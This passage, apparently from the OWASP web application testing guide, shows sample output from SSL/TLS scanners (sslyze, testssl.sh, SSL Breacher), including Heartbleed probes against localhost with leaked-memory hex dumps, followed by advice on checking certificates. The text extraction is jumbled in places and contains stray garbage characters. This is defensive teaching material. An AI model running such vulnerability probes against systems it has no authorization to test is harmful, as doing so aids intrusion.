* Session Renegotiation :
Client-initiated Renegotiations: Rejected
Secure Renegotiation:
Supported
* Certificate :
Validation w/ Mozillas CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
Hostname Validation:
MISMATCH
SHA1 Fingerprint:
******
Common Name:
Issuer:
Serial Number:
Not Before:
Not After:

www.example.com
******
****
Sep 26 00:00:00 2010 GMT
Sep 26 23:59:59 2020 GMT

Signature Algorithm:
sha1WithRSAEncryption
Key Size:
1024 bit
X509v3 Subject Alternative Name: {othername: [<unsupported>], DNS: [www.example.com]}
* OCSP Stapling :
Server did not send back an OCSP response.
* Session Resumption :
With Session IDs:
Supported (5 successful, 0 failed,
0 errors, 5 total attempts).
With TLS Session Tickets: Supported
* SSLV2 Cipher Suites :
Rejected Cipher Suite(s): Hidden

164

Web Application Penetration Testing

RC4-SHA

Preferred Cipher Suite: None


Accepted Cipher Suite(s): None
Undefined - An unexpected error happened: None

Rejected Cipher Suite(s): Hidden

HTTP 200 OK

Accepted Cipher Suite(s):


CAMELLIA256-SHA
256 bits HTTP 200 OK
RC4-SHA
128 bits HTTP 200 OK
CAMELLIA128-SHA
128 bits HTTP 200 OK
Undefined - An unexpected error happened: None
* TLSV1_1 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite: None
Accepted Cipher Suite(s): None
Undefined - An unexpected error happened:
ECDH-RSA-AES256-SHA
socket.timeout - timed
out
ECDH-ECDSA-AES256-SHA
socket.timeout - timed
out
* TLSV1_2 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite: None
Accepted Cipher Suite(s): None
Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout timed out
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout
- timed out

Accepted Cipher Suite(s):


CAMELLIA256-SHA
256 bits HTTP 200 OK
RC4-SHA
128 bits HTTP 200 OK
CAMELLIA128-SHA
128 bits HTTP 200 OK

SCAN COMPLETED IN 9.68 S


-----------------------Example 7. Testing SSL/TLS with testssl.sh
Testssl.sh [38] is a Linux shell script which provides clear output to
facilitate good decision making. It can not only check web servers
but also services on other ports, supports STARTTLS, SNI, SPDY and
does a few check on the HTTP header as well.
Its a very easy to use tool. Heres some sample output (without colors):
user@myhost: % testssl.sh owasp.org
#############################################
###########
testssl.sh v2.0rc3 (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
This program is free software. Redistribution +
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
Note you can only check the server against what is
available (ciphers/protocols) locally on your machine
#############################################
###########
Using OpenSSL 1.0.2-beta1 24 Feb 2014 on
myhost:/<mypath>/bin/openssl64

Testing now (2014-04-17 15:06) ---> owasp.org:443 <--(owasp.org resolves to 192.237.166.62 /


2001:4801:7821:77:cd2c:d9de:ff10:170e)

* TLSV1 Cipher Suites :


Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite:

Timeout on HTTP GET

Undefined - An unexpected error happened:


ADH-CAMELLIA256-SHA
socket.timeout - timed
out

* SSLV3 Cipher Suites :

Preferred Cipher Suite:


RC4-SHA
128 bits

128 bits

--> Testing Protocols


SSLv2
SSLv3

NOT offered (ok)


offered

165

Web Application Penetration Testing

TLSv1 offered (ok)


TLSv1.1 offered (ok)
TLSv1.2 offered (ok)

--> Testing (Perfect) Forward Secrecy (P)FS)

SPDY/NPN not offered

Done now (2014-04-17 15:07) ---> owasp.org:443 <---

--> Testing standard cipher lists

user@myhost: %

no PFS available

Null Cipher
NOT offered (ok)
Anonymous NULL Cipher NOT offered (ok)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption
NOT offered (ok)
56 Bit encryption
NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit)
NOT offered (ok)
DES Cipher
NOT offered (ok)
Triple DES Cipher
offered
Medium grade encryption offered
High grade encryption offered (ok)
--> Testing server defaults (Server Hello)
Negotiated protocol
Negotiated cipher

TLSv1.2
AES128-GCM-SHA256

Server key size


2048 bit
TLS server extensions: server name, renegotiation info,
session ticket, heartbeat
Session Tickets RFC 5077 300 seconds
--> Testing specific vulnerabilities
Heartbleed (CVE-2014-0160), experimental NOT vulnerable
(ok)
Renegotiation (CVE 2009-3555)
NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929)
NOT vulnerable (ok)
--> Checking RC4 Ciphers
RC4 seems generally available. Now testing specific ciphers...
Hexcode Cipher Name
KeyExch. Encryption Bits
------------------------------------------------------------------[0x05] RC4-SHA
RSA
RC4 128
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
--> Testing HTTP Header response
HSTS
no
Server Apache
Application (None)

STARTTLS would be tested via testssl.sh -t smtp.gmail.com:587


smtp, each ciphers with testssl -e <target>, each ciphers per
protocol with testssl -E <target>. To just display what local ciphers that are installed for openssl see testssl -V. For a thorough
check it is best to dump the supplied OpenSSL binaries in the
path or the one of testssl.sh.
The interesting thing is if a tester looks at the sources they learn
how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /
bin/bash with /dev/tcp sockets -- no piggyback perl/python/you
name it.
Additionally it provides a prototype (via testssl.sh -V) of mapping to RFC cipher suite names to OpenSSL ones. The tester
needs the file mapping-rfc.txt in same directory.
Example 8. Testing SSL/TLS with SSL Breacher
This tool [99] is combination of several other tools plus some
additional checks in complementing most comprehensive SSL
tests. It supports the following checks:
HeartBleed
ChangeCipherSpec Injection
BREACH
BEAST
Forward Secrecy support
RC4 support
`9L&j9L&9`9L&j9L&
Lucky13
HSTS: Check for implementation of HSTS header
HSTS: Reasonable duration of MAX-AGE
HSTS: Check for SubDomains support
Certificate expiration
Insufficient public key-length
Host-name mismatch
Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
SSLv2 support
Weak ciphers check
Null Prefix in certificate
HTTPS Stripping
Surf Jacking
Non-SSL elements/contents embedded in SSL page
Cache-Control

166

Web Application Penetration Testing

pentester@r00ting: % breacher.sh https://localhost/login.php


Host Info:
==============
Host : localhost
Port : 443
Path : /login.php

Certificate Info:
==================
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
Signature Hash Algorithm: SHA1withRSA
Public key: Sun RSA public key, 1024 bits
modulus: 13563296484355500991016409816100408625
9135236815846778903941582882908611097021488277
5657328517128950572278496563648868981962399018
7956963565986177085092024117822268667016231814
7175328086853962427921575656093414000691131757
0996633223696567560900301903699230503066687785
34926124693591013220754558036175189121517
public exponent: 65537
Signed for: CN=localhost
Signed by: CN=localhost
Total certificate chain: 1
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged
output.)
=====================================
Certificate Validation:
===============================
[!] Signed using Insufficient public key length 1024 bits
(Refer to http://www.keylength.com/ for details)
[!] Certificate Signer: Self-signed/Untrusted CA - verified with
0C`RRj
=====================================
Loading module: Hut3 Cardiac Arrest ...
Checking localhost:443 for Heartbleed bug (CVE-2014-0160)
...
[-] Connecting to 127.0.0.1:443 using SSLv3
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of
3! 127.0.0.1:443 is vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes
are removed):

0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00

0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.0
[-] Sending ClientHello

167

Web Application Penetration Testing

[-] ServerHello received


[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.0
[-] Displaying response (lines consisting entirely of null bytes are
removed):
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00

0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........

0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.1
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are
removed):
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00

0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0

168

Web Application Penetration Testing

x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.2
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.2
[-] Displaying response (lines consisting entirely of null bytes are
removed):
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00

0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.

0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection

[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in


http://heartbleed.com/
[!] Vulnerability Status: VULNERABLE
=====================================
Loading module: CCS Injection script by TripWire VERT ...
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS)
Injection bug (CVE-2014-0224) ...
[!] The target may allow early CCS on TLSv1.2
[!] The target may allow early CCS on TLSv1.1
[!] The target may allow early CCS on TLSv1
[!] The target may allow early CCS on SSLv3
[-] This is an experimental detection script and does not definitively determine vulnerable server status.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS)
Injection vulnerability (CVE-2014-0224) mentioned in http://
ccsinjection.lepidum.co.jp/
[!] Vulnerability Status: Possible
=====================================
Checking localhost:443 for HTTP Compression support against
BREACH vulnerability (CVE-2013-3587) ...
[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.
blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-secondsA-BREACH-beyond-CRIME-WP.pdf
[*] Vulnerability Status: No

169

Web Application Penetration Testing

--------------- RAW HTTP RESPONSE ---------------

test.css>

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

=====================================

<html>
<head>
<title>Login page </title>
</head>
<body>
<script src=http://othersite/test.js></script>

=====================================

<link rel=stylesheet type=text/css href=http://somesite/


test.css>
=====================================
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...
[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in https://www.owasp.
org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE
--------------- RAW HTTP RESPONSE --------------HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src=http://othersite/test.js></script>
<link rel=stylesheet type=text/css href=http://somesite/

Checking localhost for HTTP support against HTTPS Stripping


attack ...
[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in https://
www.blackhat.com/presentations/bh-dc-09/Marlinspike/
BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
[!] Vulnerability Status: VULNERABLE

Checking localhost:443 for HTTP elements embedded in SSL


page ...
[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
[!] Vulnerability Status: VULNERABLE
--------------- HTTP RESOURCES EMBEDDED --------------- http://othersite/test.js
- http://somesite/test.css
=====================================
Checking localhost:443 for ROBUST use of anti-caching mechanism ...
[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL
page and sensitive information will be leaked.
[!] Vulnerability Status: VULNERABLE
------------------------------------------------Robust Solution:
- Cache-Control: no-cache, no-store, must-revalidate,
pre-check=0, post-check=0, max-age=0, s-maxage=0
- Ref: https://www.owasp.org/index.php/Testing_for_
Browser_cache_weakness_(OTG-AUTHN-006)
http://msdn.microsoft.com/en-us/library/
ms533020(v=vs.85).aspx
=====================================
Checking localhost:443 for Surf Jacking vulnerability (due to
Session Cookie missing secure flag) ...
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES
[!] Vulnerable to Surf Jacking attack mentioned in https://re-

170

Web Application Penetration Testing

sources.enablesecurity.com/resources/Surf%20Jacking.pdf
[!] Vulnerability Status: VULNERABLE
--------------- RAW HTTP RESPONSE --------------HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
=====================================
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

2009-3555,CVE-2011-1473,CVE-2011-5094) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
[*] Mitigated from DOS attack (CVE-20111473,CVE-2011-5094) mentioned in https://www.thc.org/thcssl-dos/
[*] Vulnerability Status: No
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
[*] Immune from TLS Plain-text Injection attack (CVE2009-3555) - http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-2009-3555
[*] Vulnerability Status: No
=====================================
Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...

[*] Forward Secrecy: SUPPORTED


[*] Connected using cipher - TLS_ECDHE_RSA_WITH_
AES_128_CBC_SHA on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets
even if they have compromised private keys.
[*] Vulnerability Status: No

[*] SSL version 2 : NOT SUPPORTED


[*] Immune from SSLv2-based MITM attack
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT)


weak ciphers support ...

Checking localhost:443 for RC4 support (CVE-2013-2566) ...


[!] RC4: SUPPORTED
[!] Vulnerable to MITM attack described in http://www.isg.rhul.
ac.uk/tls/
[!] Vulnerability Status: VULNERABLE

=====================================
Checking localhost:443 for TLS 1.1 support ...
Checking localhost:443 for TLS 1.2 support ...
[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.
infoworld.com/t/security/red-alert-https-has-beenhacked-174025
[*] Vulnerability Status: No

=====================================

=====================================

Supported LANE cipher suites:


SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
RSA_EXPORT_WITH_RC2_CBC_40_MD5
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
DHE_RSA_WITH_DES_CBC_SHA
TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
(TLSv1.1: same as above)
(TLSv1.2: same as above)
[!] LANE ciphers : SUPPORTED
[!] Attackers may be ABLE to recover encrypted packets.
[!] Vulnerability Status: VULNERABLE
=====================================

Loading module: sslyze by iSecPartners ...

Checking localhost:443 for GCM/CCM ciphers support against


Lucky13 attack (CVE-2013-0169) ...

Checking localhost:443 for Session Renegotiation support (CVE-

Supported GCM cipher suites against Lucky13 attack:

171

Web Application Penetration Testing

TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
[*] GCM/CCM ciphers : SUPPORTED
[*] Immune from Lucky13 attack mentioned in http://www.isg.
rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No

services.
Example 1. Testing for certificate validity (manually)
Rather than providing a fictitious example, this guide includes
an anonymized real-life example to stress how frequently one
stumbles on https sites whose certificates are inaccurate with
respect to naming. The following screenshots refer to a regional
site of a high-profile IT company.
We are visiting a .it site and the certificate was issued to a .com
site. Internet Explorer warns that the name on the certificate
does not match the name of the site.

=====================================
Checking localhost:443 for TLS Compression support against
`9L&y&j9L&
[*] TLS Compression : DISABLED
9`9L&j9L&dia.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfectcrime-beery-wp.pdf
[*] Vulnerability Status: No
=====================================
[+] Breacher finished scanning in 12 seconds.
[+] Get your latest copy at http://yehg.net/

Testing SSL certificate validity client and server


Firstly upgrade the browser because CA certs expire and in every
release of the browser these are renewed. Examine the validity
of the certificates used by the application. Browsers will issue
a warning when encountering expired certificates, certificates
issued by untrusted CAs, and certificates which do not match
name wise with the site to which they should refer.

Warning issued by Microsoft Internet Explorer


The message issued by Firefox is different. Firefox complains
because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed
the certificate. In fact, Internet Explorer and Firefox do not come
pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.

By clicking on the padlock that appears in the browser window


when visiting an HTTPS site, testers can look at information related to the certificate including the issuer, period of validity,
encryption characteristics, etc. If the application requires a client
certificate, that tester has probably installed one to access it.
Certificate information is available in the browser by inspecting
the relevant certificate(s) in the list of the installed certificates.
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the
usual https service running on port 443, there may be additional
services involved depending on the web application architecture
and on deployment issues (an HTTPS administrative port left
open, HTTPS services on non-standard ports, etc.). Therefore,
apply these checks to all SSL-wrapped ports which have been
